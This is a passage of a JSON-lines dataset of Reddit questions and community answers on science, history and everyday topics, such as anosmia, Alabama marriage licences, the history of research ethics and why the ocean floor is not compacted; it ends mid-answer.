{"q_id": "r7t2i", "title": "I have anosmia. Is it still possible for me to be able to smell, even for just a minute (or less)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r7t2i/i_have_anosmia_is_it_still_possible_for_me_to_be/", "answers": {"a_id": ["c43muo1", "c43nees", "c43o16e"], "score": [14, 9, 2], "text": ["Well, is it nerve damage, or is it b/c of compression of the olfactory nerve? B/c if there is nerve damage, the peripheral nerves have some capability for regeneration, depending on the extent of the damage.\n\nHave you been to a doctor about this?", "It is theoretically possible for you to smell. \n\nIt could be accomplished with a type of brain stimulation called Focal Brain Stimulation (_URL_0_) which uses an electric current to excite a specific portion of the brain.  For example, using FBS to excite parts of the brain associated with vision causes a person to have an intense visual experience independent of their eyes.  You could theoretically have the portion of your brain associated with processing smell (anterior olfactory nucleus, piriform cortex, the medial amygdala, and the entorhinal cortex) excited and thereby have a \"smell\" experience.\n\nI do wonder weather the cortical (brain side) circuits associated with the sensation of smell will have atrophied because they have never been used such that even stimulating them might not work.  This frequently happens when children with a non-tracking eye do not get correction.  The brain ignores input from that eye early on in development and those circuits never fully mature to the point where signals from that eye are perceived as vision.  \n\nI also would not guess that it would be a pleasant sensation even if it was accomplished.  ", "what is the correct terminology to describe someone who can't smell? i.e. blind, deaf etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Electrical_brain_stimulation"], []]}
{"q_id": "14a3jk", "title": "When you shine a light on a scratched surface (i.e. a smartphone, stainless steel counter) and shine a single light on it, in the reflection of the light, why do all of the finer scratches appear to circle the reflected image of the light?", "selftext": "Hold a scratched surface to the light and focus on the smaller almost unnoticable scratches. You'll see what I'm talking about.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14a3jk/when_you_shine_a_light_on_a_scratched_surface_ie/", "answers": {"a_id": ["c7b8anr", "c7bcway", "c7be7xq"], "score": [6, 2, 2], "text": ["Because the scratches reflect only in a plane perpendicular to the scratch at that point.", "You can use this effect to draw `holograms' by hand, by the way. _URL_0_", "fun note: also works with sunlight coming through tree branches (and looks really cool)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=XUy8lELWhJg"], []]}
{"q_id": "i1wlt", "title": "If you had unlimited money, what is the fastest way to get rid of a cold?", "selftext": "Are there medical procedures out there average people cannot afford that would eradicate a cold in a day/a few hours?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i1wlt/if_you_had_unlimited_money_what_is_the_fastest/", "answers": {"a_id": ["c207u3i"], "score": [5], "text": ["I'm going to go and overcomplicated the answer.\n\n > 150 healthy men and women (aged 18\u201351 years) were randomly assigned to 1 of 3 groups: intranasal interferon (IFN)\u2013\u03b12b (6\u00d7106 U every 12 h \u00d7 3) plus oral chlorpheniramine (12 mg extended release) and ibuprofen (400 mg) every 12 h for 4.5 days (n=59 subjects); [....] the daily mean total symptom score was reduced by 33%\u201373%, compared with placebo. \n\n[Source](_URL_0_)\n\nBasically, you can use interferon (that has antiviral qualities,) chlorpheniramine (an antihistamine,) and ibuprofen to help significantly. You'd only require a prescription for interferon. However, prescribing interferon for the cold is kind of ridiculous because, ironically, they can cause flu like symptoms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jid.oxfordjournals.org/content/186/2/147.short"]]}
{"q_id": "3584dj", "title": "when i get my haircut, why do i get that tingling feeling down my spine when the hair clippers go near the base of my skull?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3584dj/eli5_when_i_get_my_haircut_why_do_i_get_that/", "answers": {"a_id": ["cr1wtr2", "cr23brd"], "score": [3, 2], "text": ["It is an instinctual response for safety that we have developed over our 2 million years as hominids, and as a response it is likely far older than our hominid ancestors since it is part of our basic nervous system that happens on its own and away from our higher brain.  Predators often approach from behind, and feeling that instinctual evolutionary response of a spine-tingle is a very primitive warning by your nervous system to your brain.  ", "Think of the places people are ticklish; armpits/ribcage, groin, back of the knee, nape of the neck- those all get the biggest squirms when someone brushes them or intentionally tickles them. They're also the most vulnerable parts of the body, with lots of tendons and/or blood vessels that you wouldn't want, say, a wolf to sink its teeth into. The tickle reflex is there so we respond automatically instead of having to think and decide to yank our hamstrings out of a predator's mouth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3wdlxc", "title": "What kind of characters, if any, were the Britons using before the Latin alphabet was introduced?", "selftext": "Were the Britons using some written form of their language before the Romans came? If so, what sore of characters might they have used? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wdlxc/what_kind_of_characters_if_any_were_the_britons/", "answers": {"a_id": ["cxviz7c", "cxw43x2"], "score": [33, 11], "text": ["There were some pre-Roman coins which used the Latin alphabet for names of kings such as Tasciovanus and Cunobelinos, but no native script that I've come across.", "**Commenters:**\n\n* *Please stop saying \"runes\"*. It's not the correct answer.\n\n* Please stop posting the Wikipedia page about runes, which itself also says it's not the correct answer to OP's question.\n\n* Please stop commenting about there are a lot of deleted comments. There are a lot of deleted comments because people keep giving short answers saying it's runes.\n\nNext person to say the answer is runes had better have some pretty detailed and conclusive evidence that they're not just throwing out half-remembered things they once heard after reading the Hobbit. Otherwise you're going to get a cranky reply from me.\n\n/u/ctesibius has already addressed the question of runes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ve2v3", "title": "how are county judges in alabama refusing to grant marriage licences to gay couples when a federal court struck down the ban? are these judges breaking the law? could they be arrested/forcibly removed from their positions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ve2v3/eli5_how_are_county_judges_in_alabama_refusing_to/", "answers": {"a_id": ["cogtv6c", "cogtw9w", "cogu9b2", "cogz5m8", "coh0om1", "coh42vb", "coh5yba", "coh67tq", "coh9fx1", "coh9hwm", "coha8gk", "cohci4o", "cohdsjf"], "score": [28, 13, 306, 4, 18, 47, 30, 2, 6, 4, 3, 2, 5], "text": ["Because another Alabama judge ruled that the judges had discretion to whom they issued marriage licenses, and there hasn't been enough time for that decision to be appealed.  It will be appealed and his ruling will almost certainly be reversed.  Are the judges breaking the law?  No, not technically, for the moment. Likewise, no the judges can't be removed because, for the moment, everything is still fine.  ", "A federal law generally can overrule a state law, but in the case of same-sex marriage it's not recognized by every part of the federal government. The IRS recognizes same-sex marriage, but the Social Security Administration only recognizes it in a state where the state law also recognizes same-sex marriage. As a result these Alabama judges are able to refuse to grant marriage licenses, until Alabama fully allows same-sex marriage. \nThere is also some confusion within the state legal system due to the national government's denial of their attempt to ban same-sex marriage, but due to the judges refusing to grant marriage licenses applications are being accepted but not processed until there is no legal ambiguity. \nRead here for more on the current situation.\n_URL_0_", "They are breaking the law, and a motion has already been filed to have a federal court find a county judge in Mobile, Alabama in contempt, to fine him, and to order law enforcement to open the marriage license office.  [Source](_URL_0_)", "Colorado sells marijuana despite it being federally illegal. It's not as cut and dry of a issue when it comes to federal government having power over state governments these days. ", "One judge on NPR said he would stop doing marriages period so as not to violate the law. ", "I'm not a lawyer, but I play one on Google.\n\nBottom line they are not following the law and any legal challenge would result in them getting court ordered to follow the law. What they are doing is knowingly interpreting the law incorrectly that federal court rulings trumps state laws. There is nothing illegal about interpreting the law incorrectly unless you can show criminal mischief, which is a pretty high standard given that these judges are getting conflicting messages. \n\nThe most likely scenario is that a federal judge issues a court order to all of these judges directing them to follow the law. Anyone who doesn't will then be held for contempt and put into jail.  The legal challenges to force these judges just hasn't been done yet...the gears of justice turn slowly. \n\n\n\nAs a side bar, the real person we should be blaming is Alabama's Chief Justice Roy Moore. He's providing the cover that allows these county judges to be able to pull this sham. Without him then the county judges would not have anyone to hid behind and many more counties would be issuing licenses. It pisses me off that a CHIEF JUSTICE can knowingly not follow the law for political gains. He'll come out of this with a reprimand only a handful would ever read, and an entire state who would elect him from governor, all while trampling the Constitution of the United States(and somehow claiming he's protecting the constitution). **Judges should NEVER be elected officials**. ", "I can't wait until National Guardsmen occupy the offices and try to figure out how to use the license-issuing software.", "Devil's advocate: there's the idea of nullification: that is, when the Constitution offers the Fed Govt no power over a certain area, the state refuses to follow their decision because that power is meant for the states.  \n\nA good example of this are various State marijuana laws - the Feds think that their law is supreme, which outlaws marijuana.  Colorado thinks otherwise.\n\nThis is what's happening in Alabama, the State thinks that the decision is not Constitutionally one that the Fed Govt can decide.", "EDIT: I should start off my comment by saying that some of the probate judges are not \"breaking the law\" because \"the law\" in this case has not been reduced to a legal certainty. The doctrine of *stare decisis* determines what effect a federal (or state-level) decision has, and there is no directly binding legal precedent which would compel the Alabama state courts at this moment.\n\nThere's a lot of misinformation in this thread regarding the effect of a federal judge's decision (i.e. a federal judge's decision does not automatically trump state law). The quick explanation is that the federal district court issued an order that forces the specified parties to act accordingly, and some of the judges refusing to grant licenses are not subject to that order. It has nothing to do with binding precedent. \n\nGenerally, *stare decisis*, known as the legal doctrine of precedent, originating from the various federal courts of appeals (and to a lesser extent the federal district courts) is not binding on state courts.  The largest exception is the US Supreme Court, which has binding effect on all state courts in the vast majority of situations.  Just because a federal court has ruled in a particular way does not mean that a state court is bound by that ruling; however, the state court may cite the ruling as persuasive authority. That is the general rule, but in some situations (such as issues that consist solely of federal law), the state court may be bound by a decision of a federal court.\n\nThe aforementioned discussion of precedent is not totally relevant to the Alabama same-sex marriage case because the federal district court has issued an order that is binding on the parties.  If the county judges (who are state judges)  were named as parties in the lawsuit, they are required to abide by the requirements of the order, thus the judges who are subject to the order may face consequences if they willfully violate the order. For the judges not named in the lawsuit, the issue is stickier because they are required to follow the Alabama Constitution, which forbids same-sex marriage; however, a large body of federal law suggests that the Alabama Constitution is likely in conflict with the U.S. Constitution.\n\nEDIT: One more thing I should add is that the Chief Justice of the Alabama Supreme Court issued an order to all probate judges, forbidding them from granting any same-sex marriages. Even if one disagrees with the legal analysis underlying the order, a probate judge cannot lightly disobey an explicit order from the Chief Justice of the AL Supreme Court, so many probate judges face violating a federal court judge's order or the Chief Justice's order. A conundrum indeed.", "They are refusing because they were told by the Chief Justice of the Alabama Supreme Court, Ron Moore, that they didn't have to abide by the Federal Court ruling. He's wrong, but they're using his directive as an excuse to follow their own bigoted inclinations.", "It's kinda like when the Supreme Court decided that there should be no prayer in schools or at school functions. At a Texas football game, the pastor was called on to give a prayer before the game. When someone said, \"But the Supreme Court...\", the pastor said, \"I guess they'll have to come down here to Texas and stop me.\"\n\nA court can give an order, but it has no enforcement power. It still needs the executive branch to enforce the orders.", "This is Selma all over again.  Judge Moorer is playing his part knowing that higher powers will not want to get involved.  He will win until some poor soul with a conscience challenges him and forces a situation that makes the higher powers take a stand.  You all can argue legalisms all you want but its a waste of time.  This issue is being decided the American way, in the court of public opinion, one state at a time.   ", "The Ten Commandment Judge, Judge Moore, says he does the things he does \"for the children\". How absolutely despicable and manipulative to hide behind children as an excuse for bigotry.\n\nAlso this bitch \n > Clarke County Probate Judge Valerie Davis has promised the same.\n\n > \u201cI do not think I am required to compromise my religious beliefs to be probate judge,\u201d\n\nWhat the fuck do you think your job is then? Time to resign!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.usatoday.com/story/news/nation/2015/02/09/alabama-chief-justice-orders-ban-same-sex-marraiges/23107997/"], ["http://sblog.s3.amazonaws.com/wp-content/uploads/2015/02/Ala.-marriage-contempt-motion-2-9-15.pdf"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "11p94u", "title": "What would happen to a jet engine if it went through a pocket of methane?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11p94u/what_would_happen_to_a_jet_engine_if_it_went/", "answers": {"a_id": ["c6ofuw8", "c6ofuwd"], "score": [2, 2], "text": ["Can't answer the question, but [wikipedia gives reasons explaining how unremarkable the Bermuda Triangle actually is](_URL_0_). No theories for disappearances are needed because questions asking why more ships/planes crash in the Triangle than in other places are invalid.", "The engines require oxygen for combustion. Methane displaces the oxygen and therefore the engines stall. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Bermuda_Triangle"], []]}
{"q_id": "brdwo2", "title": "Will urban areas be considerably quieter when all vehicles become electric?", "selftext": "How significant is the amount of sound produced by engines, compared to all the other sounds made in a city? One day when every vehicle on the road will be electric, will overall noise pollution be significantly reduced?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/brdwo2/will_urban_areas_be_considerably_quieter_when_all/", "answers": {"a_id": ["eodw33k"], "score": [46], "text": ["Yes! Noise from EVs is signficantly lower than noise from ICE vehicles, in an urban context. Universal adoption of EVs will make cities quieter and more comfortable for residents.\n\nAbove about 30 mph, the difference in noise levels from EVs compared to ICE vehicles is less significant, being more influenced by tyre noise and wind noise, but that's irrelevant to the majority of urban areas, where average vehicle speed is typically 8 - 10 mph.\n\nThis will make cities more comfortable places to live, and will even have an impact on building design, requiring less onerous facade sound insulation.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://cleantechnica.com/2019/01/27/another-ev-benefit-less-noise-pollution%E2%80%A8%E2%80%A8%E2%80%A8/"]]}
{"q_id": "2bqdce", "title": "Can anyone shed some light on Medieval or pre-Medieval special operations?", "selftext": "I'm quite interested in early warfare and I was wondering if there were any examples of small special operations teams (think seal team 6) during this time period and what duties they might be given.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bqdce/can_anyone_shed_some_light_on_medieval_or/", "answers": {"a_id": ["cj7xx5n"], "score": [2], "text": ["This question has been answered before:\n\n[Did any ancient civilizations recruit and train spec-ops soldiers?](_URL_5_)\n\n[Did Ancient Rome or Medieval Europe have some form of \"Special Forces\"?](_URL_1_)\n\n[Did dark/middle age armies have any type of special forces units?](_URL_4_)\n\n[Were there any examples of 'special forces' in Medieval and Ancient times?](_URL_0_)\n\n[Did the Roman Army have \"Special\" Units?](_URL_3_)\n\n[Was there ever a medieval Special Forces/Navy Seal type small team units?](_URL_2_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1wszp6/were_there_any_examples_of_special_forces_in/", "http://www.reddit.com/r/AskHistorians/comments/2axr79/did_ancient_rome_or_medieval_europe_have_some/", "http://www.reddit.com/r/AskHistorians/comments/1wi764/was_there_ever_a_medieval_special_forcesnavy_seal/", "http://www.reddit.com/r/AskHistorians/comments/27kg1t/did_the_roman_army_have_special_units/", "http://www.reddit.com/r/AskHistorians/comments/1m3y5a/did_darkmiddle_age_armies_have_any_type_of/", "http://www.reddit.com/r/AskHistorians/comments/1ljkd4/did_any_ancient_civilizations_recruit_and_train/"]]}
{"q_id": "9dskl9", "title": "does a dead animal taste different than an alive animal?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dskl9/eli5_does_a_dead_animal_taste_different_than_an/", "answers": {"a_id": ["e5jppo8"], "score": [5], "text": ["It depends on where the piece you want to eat is located. An hour is enough for livor mortis to take place (movement of blood based on gravity). Based on this, you might get a very bloody piece or a 'dry' one. Other factors come into play so it's a definite yes in terms of taste difference. Note, that the difference might be very subtle in some animals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ereon9", "title": "When did the first ethical reviews of scientific experiments come about?", "selftext": "My general impression of scientific experimentation (especially psychological and medical research) is that up until the later decades of the 1900s, there was little regard for ethical impacts of the experiments on their subjects (human or not).\n\nBut nowadays, there are ethical review boards. And planned research can be completely torpedoed if it's expected to not pass ethical muster.\n\nSo when did this shift occur? Were there watershed moments that served as motivations for it? Was it different based on who sponsored the research?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ereon9/when_did_the_first_ethical_reviews_of_scientific/", "answers": {"a_id": ["ff43718"], "score": [6], "text": ["(1/2), [taken from a previous answer](_URL_1_) that focused on the Unabomber: \n\nPhilip Zimbardo was the researcher who put together the famous (and ethically troublesome) Stanford Prison Experiment in 1971 ([which Maria Konnikova at the *New Yorker* explains well here](_URL_0_)). Just to be clear, this had nothing to do with Ted Kaczynski (the Unabomber). However, what's fascinating about the Stanford Prison Experiment is that Zimbardo details in the book *The Lucifer Effect* the ethical hoops that he had to jump through for the experiment to take place: \n\n >  The legal counsel of Stanford University was consulted, drew up a formal \u201cinformed consent\u201d statement, and told us of the work, safety, and insurance requirements we had to satisfy for them to approve the experiment. The \u201cinformed consent\u201d statement signed by every participant specified that during the experiment there would be an invasion of his privacy; prisoners would have only a minimally adequate diet, would lose some of their civil rights, and would experience harassment. All were expected to complete their two-week contract to the best of their ability. The Student Health Department was alerted to our study and prior arrangements were made for any medical care subjects might need. Approval was officially sought and received in writing from the agency sponsoring the research, the Group Effectiveness Branch of the Office of Naval Research (ONR), the Stanford Psychology Department, and Stanford\u2019s Institutional Review Board (IRB).\n\nZimbardo is telling us this in *The Lucifer Effect* because he wants to come across as someone who had been trying to do the right thing in his research, rather than the manipulative unethical devil that some had portrayed him as for putting together the experiment. He is trying to argue that he went through the proper channels and that he wasn't a loose cannon doing crazy experiments that nobody knew about. Instead, he later says, his ethical lapse was in not realising the way that the combination of group identification and some sociopathic tendencies in some participants would be so explosive - the experiment had unintended consequences.\n\nAnyway, the mid-1970s marks the point when the current, quite stringent ethics boards system and the principles under which it works ('informed consent') became the done thing across universities in the West. Zimbardo's experiment happened at the absolute tail end of the 'wild west' era of psychology experiments, and I think became prominent because it was a recent example at this point, not because it was necessarily the worst ethical violation in university history.\n\nThe year after Zimbardo's experiment was conducted saw the publication of the psychiatrist Jay Katz's book *Experimentation In Human Beings*, which exhaustively researched the ethical lapses of previous research, and which was influential in psych- circles. And then news broke in the popular press about the Tuskegee syphilis experiment, where - in what is now very widely seen as a horrific experiment, the US Public Health service basically left syphilis in black men untreated between 1932 *and 1972* to monitor the effects (penicillin had become available in the 1940s). This experiment only stopped in 1972 because it was exposed by a whistleblower.\n\nFaden  &  Beauchamp's 1986 book *A History And Theory Of Informed Consent* says that:\n\n > \"Informed consent\" first appeared as an issue in American medicine in the late 1950s and early 1960s. Prior to this period, we have not been able to locate a single substantial discussion in the medical literature of consent and patient authorization. For example, from 1930 to 1956 we were able to find only nine articles published on issues of consent in the American medical literature. Medical ethics and medical policy\u2014as reflected in codes, treatises, and actual practices\u2014were almost entirely developed within the profession of medicine, which was little distracted by canons of disclosure and consent.\n\nWhich is to say that the ethical considerations that are implicit in the hoops that researchers have to jump through in order to do research on humans only really started to be thought about by medical researchers in the late 1950s and early 1960s.  However, it took until the 1970s and the publicising of the Tuskegee experiment for official national American policies to be drawn up. In 1974, the National Commission for the Protection of Human Subjects of Biomedical and Behavioral Research was instituted, and over the next four or five years, it created and published official policies that research needed to abide by. These revolved around 'informed consent' (e.g., that people had to consent to participate in experiments, and that this consent needed to be informed by a full knowledge of the possible harms that may result from the experiment - and so the Stanford Prison Experiment was unethical because the participants were not informed of the possible harms that resulted from the experiment, because Zimbardo himself didn't realise them).\n\nPsychologists, though, *aren't* medical researchers - psychiatrists are medical doctors who specialise in mental illness, but psychologists are scientists of the mind. The popular image of psychologists is as involved in the treatment of depression etc (which they are), but psychology is a broader field that also does - for example - social psychology research into how people behave in groups more generally (e.g., in the Stanford Prison Experiment) or on colour perception. As a result, the story of the ethical expectations that Henry Murray (the psychological researcher who experimented on Kaczynski) would have been expected to follow in 1960 is a bit different to the medical context. The American Psychological Association put together a taskforce in 1938 that reported on whether they should have an official ethics code in 1939: in summary, they \"did not feel that the time was ripe for the Association to adopt a formal code\".\n\nHowever, post-war, with a boom in the amount of psychologists, it was decided that an ethics code was needed after all (but which mainly dealt with the ethics of clinical psychology and treating people for depression, something which is a thorny ethical issue in many ways, but in different ways to research). A draft of this code, published in 1951, stated that: \n\n > Only when the problem being investigated is significant and can be studied in no other way is the psychologist justified in withholding information from or temporarily giving misinformation to research subjects or in exposing them to emotional stress. He must seriously consider the possibility of harmful after-effects, take all necessary steps to remove the possibility of such effects when they may be anticipated,\nand deal with them if and when they arise. Where there exists a danger of serious after-effects, research should not be conducted unless the subjects are fully informed of this possibility and volunteer nevertheless.\n\nThis was published in 1953 as:\n\n > 4.31-1 Only when a problem is significant and can be investigated in no other way is the psychologist justified in exposing research subjects to emotional stress. He must seriously consider the possibility of possible harmful after-effects and should be prepared to remove them as soon as permitted by the design of the experiment. When the danger of serious after-effects exists, research should be conducted only when the subjects or their responsible agents are fully informed of this possibility and volunteer nevertheless.\n\n > 4.31-2 The psychologist is justified in withholding information from or giving misinformation to research subjects only when in his\njudgment this is clearly required by his research problem, and when the provisions of the above principle regarding protection of the subjects\nare adhered to.\n\nHowever, this clearly did not stop a range of ethically problematic psychology research in the 1950s and 1960s - including Murray's, and including the Milgram Experiment - from occurring; these were ethical guidelines that were not very strictly enforced at all, rather than something that the APA was emphasising.\n\nIn the early 1970s, the APA started to take this more seriously, and in 1973 they published the following principle:\n\n > Principle 5.111\n\n > *It is unethical to involve a person in research without his prior knowledge and informed consent.* [Italics in original]\n\n > A. This principle may conflict with the methodological requirement of research whose importance has been judged by the investigator (Principle 1.12), with the advice of an ethics advisory group (Principle 1.2), to outweigh the costs to the subject of failing to obtain his informed consent. Conducting the proposed research in violation of this principle may be justified only when:\n >  1. it may be demonstrated that the research objectives cannot be realized without the concealment,\n >  2. there is sufficient reason for concealment so that when the subject is later informed, he can be expected to find the concealment reasonable and so suffer no serious loss of confidence in the integrity of the investigator or others involved in the situation,\n >  3. the subject is allowed to withdraw his data from the study if he so wishes when the concealment is revealed to him,\n >  4. the investigator takes full responsibility for detecting and removing stressful aftereffects (Principles 1.72 and 1.73) and for providing the subject with positive gain from the research experience (Principles 1.741, 1.742, and 1.743)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.newyorker.com/science/maria-konnikova/the-real-lesson-of-the-stanford-prison-experiment", "https://www.reddit.com/r/AskHistorians/comments/82uyrw/ted_kaczynski_was_unbeknownst_to_him_subject_of/dvdag4g/"]]}
{"q_id": "2dlg9o", "title": "With all the water pressure on top of it, how is the ocean floor not extremely compact?", "selftext": "I was watching this video of some octopi that bury themselves on the ocean floor where they live, at up to 100m below surface, and some other random creatures that do comparable stuff too, and this doubt just landed on me; shouldn't all that water make the ground extremely compact? Why is that not the case?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2dlg9o/with_all_the_water_pressure_on_top_of_it_how_is/", "answers": {"a_id": ["cjqo5kg", "cjqq7qh", "cjqtddj", "cjqtjqs", "cjqug9b", "cjqzb98", "cjqzcs1", "cjr0s0e", "cjr1c0y", "cjr25pq"], "score": [35, 3883, 5, 98, 11, 3, 8, 4, 10, 2], "text": ["Because at the bottom the pressure is pushing equally in all directions, meaning the same force pushing you down is also pushing you up. This leaves buoyancy and gravity being the only considerable forces. The buoyant force pushing up is equal to the weight of water displaced by the object so the ocean floor should (in theory) should be less dense than normal dirt. ", "So, I think what you're stumbling over is that on land, when you compact dirt, you are squeezing *air* out of it. If you press down on loose soil with your hand or a heavy weight, it will become compressed. What's happening there is the air is being squeezed out of the spaces between the dirt particles, which makes the dirt more compact.\n\nNow on the sea floor, there is no air between the particles of dirt. So you're wondering, why doesn't the dirt feel \"solid\" like if you compact dirt at the surface? It's because at the bottom of the ocean, what's between the dirt particles is *water*. Now water is different from air, in that it is relatively incompressible - you need a tremendous pressure difference to change the volume of water even slightly. So, even though there's massive pressure from the water above, there is an equal pressure from the water between the dirt particles, which keeps them separate. The water can't get \"squeezed out\" from between the other dirt particles because the water between the particles exerts an equal force with the column of water above it. Water, unlike air, is able to \"resist\" being compressed.\n\nLastly, take the octopus in your example. Why doesn't the octopus get squished at the bottom of the ocean? Well if you went to the bottom of the ocean, your lungs would get crushed, because the air inside your lungs can't resist the massive water pressure all around you. Actually, as a land animal, you have lots of air inside your body, and all of those spaces would get crushed as the air rapidly compresses.\n\nBut octopuses and other animals that live at the sea floor don't have air in their bodies. They have water in all of the spaces in their body. Since water is incompressible, the water inside their body exerts an equal force with the water outside, so they don't get crushed.", "In soil mechanics the strength and consolidation are governed by the effective stress. Stress is the force per unit area on the object.\n\nEffective stress is the normal stress applied on the soil (its own weight) minus the pore water pressure (the pressure due to weight of water). It is the most important concept in soil mechanics. The effective stresses in the soil at the base of the ocean will be very, very low due to the high water pressure.\n\nThe soil at the bottom of the ocean will actually be a lot less strong and much less consolidated than soil at the surface. \n\nConsolidation occurs when air/water is squeezed out of the voids in the soil. This won't happen when the majority of the pressure is due to the isotropic (same in all directions) force applied by the above water.", "Just in case you still don't understand it (I had to read several comments to understand why), here is my flavor of explanation that may work for you.\n\nImagine two gigantic cylinders. Now fill one with water. There will be tons of pressure placed on the cylinder containing the water. Now add enough sand to fill the bottom 5-10% of the cylinder. We now have an ocean simulation. The pressure is still on the cylinder in this case. The sand (or any particulate of your choosing, really) is basically \"suspended\" in water at the bottom. Water is smaller than the sediment. The immense pressure will *force* the water into and inbetween every particle. It is only when it meets the impermeable glass at the bottom that it can not be forced anywhere else.\n\nNow take your other cylinder which is currently empty. This time, add the sand first. Now add a layer of indestructible plastic-wrap on top of that sand. Now add your water. What you will see here is compressed sand. Instead of the water being able to permeate the sand and push on each particle from all sides, it is only able to push on the plastic wrap which then pushes on the sand from one side.\n\nIf this didn't quite work, I can probably find a few other ways to explain it. Just ask!", "Pressure acts on an object in all directions perpendicular to its surface. So every grain of dust or sand at the bottom of the ocean will feel the pressure pushing it *inwards* and not pushing it *down*. \n\nAt some depth there will be bedrock that the water can't get under, and that will feel the pressure from above only, with the full weight of the ocean pushing down on it. ", "Here is why sand is not compressed. A jar of water with an inch of sand will help me explain. If the layer of sand were impermeable then the water would definitely push down on it like water pushes down on a drain plug with no water beneath it. But. Water slips past the sand grains, basically saturating the body of sand and therefore it has slipped past the sand as is still moving with gravity towards the center of the earth until it finally hits either sand which it cannot saturate or in our case the bottom of the glass. On the ocean floor there may be thousands of meters of sand which water has slipped past and has become now saturated and therefore is now simply suspended within the water. Water only exerts a pressure on what it cannot slip past. ", "Fill up a bucket of water. Put your hand in the water all the way to the bottom of the bucket, you can feel the hydrostatic pressure but is the same in all directions, I.e. Hydrostatic. Now set the whole bucket on top of your hand. Now that is the anisotropic stress (more in one direction than another) you were thinking about and it smashes your hand. It doesn't matter if you are talking about a compressible solid, liquid, or gas, the only thing that matters is if the force is equal in all directions or not. ", "Just to clarify: the water colum does compress/make the dirt denser, but only the layers which are not penetrated by the water. For example if you were to drain out all the water of a lake, and cover the entire basin with a water tight material, and refill it with the original water body, all the dirt would be compressed.  As others have pointed out, pressure distributes evenly, as long as the water can \"seep through\".  The imcompressibility of the water is not important : even above water (i.e the earth surface)  you have an atmosphere of gas pushing down (about the \"same\" as 10 m under water) on the dirt you are walking on, but it is still possible to move grains of sand with a piece of hair. This would not be possible if the weight of the air column was acting the only downwards on the sand particles, but because the air is all around/penetrating between the grains if sand, it is. ", "You know, I think maybe a better way to approach this question is this:\n\nIf you weigh down a closed aluminum can with air inside of it and drop it into the depths of the ocean, it gets crushed. If you weigh down an open aluminum can with air inside of it and drop it into the depths of the ocean, it looks pretty much the same. Why?\n\nWell, we can start by looking at the difference between the situations. The open aluminum can doesn't hold any of the air as it drops into the ocean. It fills with water. The closed aluminum can keeps the air in. \n\nWhen we say that the close aluminum can gets crushed, what do we really mean though? Is the aluminum getting crushed? It is true that the aluminum gets *deformed*, and perhaps the can as an object is getting crushed - but really at the root of it the air inside of the can is being compressed, right? This is why the open aluminum can doesn't get crushed - the can as an object doesn't have any air to be compressed by the pressure.\n\nWhat if the closed can were super, super thick? Then perhaps the can might not get crushed, right? Well, let's take this from a more basic viewpoint. Pressure is a force spread over an area. At a super tiny cross-section of a can, we could imagine a surface alumina component interacting with a water molecule. The surface alumina component is backed by aluminum atoms, which are held by their adjacent aluminum atoms which are in front of other aluminum atoms. Get far enough back through those aluminum atoms and you get another alumina layer and then the air - which we might assume is mostly empty space and so does not really back the alumina as strongly as aluminum atoms which are adjacent and steadily interacting with that alumina. The air molecules are in movement and are bouncing against the alumina. The water molecule on the outside is being pushed by the weight of another water molecule, and another, and another, and so on. So really what is happening is a push-of-war between that alumina bit and the water molecule, the former backed by the aluminum atoms and their bonds and the air bouncing against the inner alumina and the latter backed by the weight of a lot of water molecules. \n\nWhat about the open can? In this case, the air is replaced by the water. Since the can is open, that water is at the same pressure as the outside water. So at that same interface that we discussed, we have the alumina backed by the aluminum *and* the weight of all of the water molecules, while the water is backed by the weight of all of the water molecules. That sounds weird though, doesn't it? I think so too, for me it is because the sides aren't matched yet nothing happens. Well, maybe it might be able to reframe this situation. The water on the inside is pushing against the alumina on the inside which is pushing against the aluminum of the can wall, which is also being pushed in the other direction by the alumina on the outside which is being pushed by the water on the outside. So nothing happens here because it is very difficult to push aluminum atoms into each other. Unlike air, solid aluminum is *not* mostly empty space. Would it be possible for the open aluminum can to be changed by putting it in the ocean? Probably not *our* oceans, as we know it. I can't say this with complete confidence, but I suspect that it might not be possible on our planet. (Remember, the pressure of the oceans is ultimately derived from the gravity of the Earth)\n\nSo then what of the ocean floor? I don't know much about the ocean floor's composition, but let's assume it's bits of rock and sand. Well, at the very least, sand isn't very good at holding in air. Sand isn't very good at sticking together in water, either. When dry sand is put in water, the air between the sand won't be dragged underwater. So then we get back to that open can situation, only now instead of alumina and aluminum it's silica or something of that sort. Silica - and actually most solid materials in general - are *very* incompressible. What of rocks? Well, there could be air in the rocks. But the walls of the rock encasing the air are so thick and strong that the water molecule on the outside loses the push-of-war against the rock structure component on the outside. It is possible that if you dropped a rock with an air bubble 